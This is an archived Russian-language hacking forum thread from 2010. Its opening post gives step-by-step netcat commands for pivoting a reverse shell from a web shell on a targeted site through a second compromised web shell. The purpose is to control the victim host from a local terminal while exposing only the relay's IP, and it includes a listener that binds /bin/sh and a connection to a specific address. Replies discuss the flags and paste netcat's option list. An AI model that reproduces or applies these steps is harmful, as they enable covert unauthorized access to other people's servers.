PDA

Просмотр полной версии : Backconnect через другой шелл


Pashkela
30.04.2010, 20:03
Не то, чтобы статья, так, мысли вслух, подтвержденные практикой, может кому полезно будет.

Итак известно, что бекконект с шелла делается на дедик, сейчас рассмотрим тоже самое, только в роли дедика выступит обычный веб-шел.

Даны примерные данные, для наглядности, все испытания проводились на Ubuntu 9.10 в терминале. Итак исходные:

1. Есть веб-шелл (наш, давнишний, "левый", может порутаный, может нет, хотим использовать) - условно ВШ1
2. Есть веб-шелл на целевом сайте (другом, не пункт 1) - т.е. тот, что мы хотим порутать к примеру - условно ВШ2
3. Есть терминал (локальный) - условно ТЛ
4. И есть такая прога netcat

Задача: сделать бекконект с ВШ2 на ВШ1 и чтобы мы могли рулить в итоге ВШ2 через терминал (ЛОКАЛЬНО) паля только IP ВШ1. Допустим ВШ1 имеет IP 84.177.33.78

Последовательность действий:

1. nc -l -p 31340 -nvv -e /bin/sh & - набираем в консоли ВШ1
2. nc -nvv 84.177.33.78 31340 - набираем в ТЛ
3. Набираем в ТЛ "uname -a" - видим данные ВШ1
4. nc -l -p 31337 -t - набираем в ТЛ после того, как подключились к ВШ1
5. на ВШ2 делаем бекконект любым доступным способом (хоть из встроенного функционала шелла wso, либо отдельный перл-скриптом) указывая IP ВШ1 и порт 31337
6. 3. Набираем в ТЛ "uname -a" - видим данные ВШ2

Всё. Мы сидим в удобном любимом домашнем терминале(с нашими красивыми настройками и etc.) и лазием по ВШ2 через ВШ1.

PS: Ничто нам не мешает сделать цепочку таких бекконектов, лишь бы портов хватало свободных. Сорри, если где-то было и повтор

Nightmarе
01.05.2010, 01:06
Действительно, не поверишь, но именно сегодня я задавался этим вопросом как такое реализовать, хотя мне надо было сделать туннель через 3 компостера Windows, но пологаю что всё так оно и будет.
А смысл статьи я так понимаю сводится к малоизвестному параметру нетката как -t означающего туннель, вот это как говорится даже не расчитывал.
Теперь учтём, за статейку спасибо, на днях опробую сие чудо под виндой.

PS: заодно расшифруйте аргумент -nvv для чего он нужен.

nemaniak
01.05.2010, 11:46
Довольно интересная статья... Сам не раз задумывался над тем как такое реализовать, никак руки не доходили до практики. Автору рескепт;)
Также интересует параметр nvv, что он определяет?

diehard
01.05.2010, 12:29
Действительно, не поверишь, Довольно интересная статья... именно сегодня Сам не раз задумывался
Также интересует аргумент -nvv для чего он определяет?

BlackSun
01.05.2010, 12:39
Пашке - спасибо КЭП!
Остальным -

Options:
-c, --close close connection on EOF from stdin
-e, --exec=PROGRAM program to exec after connect
-g, --gateway=LIST source-routing hop point[s], up to 8
-G, --pointer=NUM source-routing pointer: 4, 8, 12, ...
-h, --help display this help and exit
-i, --interval=SECS delay interval for lines sent, ports scanned
-l, --listen listen mode, for inbound connects
-L, --tunnel=ADDRESS:PORT forward local port to remote address
-n, --dont-resolve numeric-only IP addresses, no DNS
-o, --output=FILE output hexdump traffic to FILE (implies -x)
-p, --local-port=NUM local port number
-r, --randomize randomize local and remote ports
-s, --source=ADDRESS local source address (ip or hostname)
-t, --tcp TCP mode (default)
-T, --telnet answer using TELNET negotiation
-u, --udp UDP mode
-v, --verbose verbose (use twice to be more verbose)
-V, --version output version information and exit
-x, --hexdump hexdump incoming and outgoing traffic
-w, --wait=SECS timeout for connects and final net reads
-z, --zero zero-I/O mode (used for scanning)

shellz[21h]
01.05.2010, 14:54
Также интересует аргумент -nvv для чего он определяет?
BlackSun же выложил список опций, читать не умеем?))

life_glider
01.05.2010, 22:49
http://forum.antichat.ru/printthread.php?t=151993
вроде в этой статье вкратце говорится про коннект через другой хост